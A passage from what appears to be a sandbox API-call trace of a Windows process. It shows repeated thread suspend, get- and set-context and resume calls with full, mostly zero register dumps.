FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0116.672] ResumeThread (hThread=0x100) returned 0x1 [0116.673] CloseHandle (hObject=0x100) returned 1 [0116.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.674] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.895] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.010] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0117.010] SuspendThread (hThread=0x100) returned 0x0 [0117.011] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fa6efff, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.011] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf950, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.012] ResumeThread (hThread=0x100) returned 0x1 [0117.012] CloseHandle (hObject=0x100) returned 1 [0117.012] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.017] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.126] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.233] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.341] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0117.341] SuspendThread (hThread=0x100) returned 0x0 [0117.341] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf688, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fa86001, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.344] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf680, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.345] ResumeThread (hThread=0x100) returned 0x1 [0117.345] CloseHandle (hObject=0x100) returned 1 [0117.345] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.346] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.458] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.568] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.677] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0117.677] SuspendThread (hThread=0x100) returned 0x0 